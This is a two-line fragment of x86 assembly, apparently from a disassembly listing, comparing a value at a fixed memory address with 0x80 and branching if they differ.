cmp dword [0x494d8c], 0x80
jne 0x4033fc